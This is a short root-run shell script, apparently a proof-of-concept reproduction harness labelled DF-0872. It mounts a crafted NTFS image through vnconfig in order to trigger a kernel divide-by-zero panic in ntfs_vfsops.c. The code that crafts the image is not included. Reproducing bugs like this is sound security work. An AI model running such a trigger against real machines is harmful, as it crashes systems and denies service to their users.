#!/bin/sh
# DF-0872 run: craft a malicious NTFS image, attach via vnconfig, attempt mount.
# The unpatched kernel must panic at ntfs_vfsops.c:354 (integer divide by zero, #DE).
# Must be run as root (vnconfig + mount). The crafted image is attacker-supplied
# content (the threat model is "admin mounts an untrusted filesystem image").
set -u
cd "$(dirname "$0")"

IMG=ntfs_crafted.img
MNT=/mnt_df0872
VNDEV=vn1                         # vn1 is free on the stock guest (vn0..3 exist)

echo "[*] crafting image"
./craft_ntfs "$IMG" || { echo "craft failed"; exit 2; }

echo "[*] attaching $IMG to /dev/$VNDEV"
vnconfig -c "/dev/$VNDEV" "$IMG" 2>&1
ls -l "/dev/$VNDEV"

echo "[*] mkdir $MNT"
mkdir -p "$MNT"

echo "[*] mount_ntfs -o ro /dev/$VNDEV $MNT   (expect kernel #DE panic)"
mount_ntfs -o ro "/dev/$VNDEV" "$MNT"
RC=$?
echo "MOUNT_EXIT=$RC"

# if we got here, the kernel did not panic - tear down
umount "$MNT" 2>/dev/null
vnconfig -u "/dev/$VNDEV" 2>/dev/null
echo "[*] no panic observed (run completed rc=$RC)"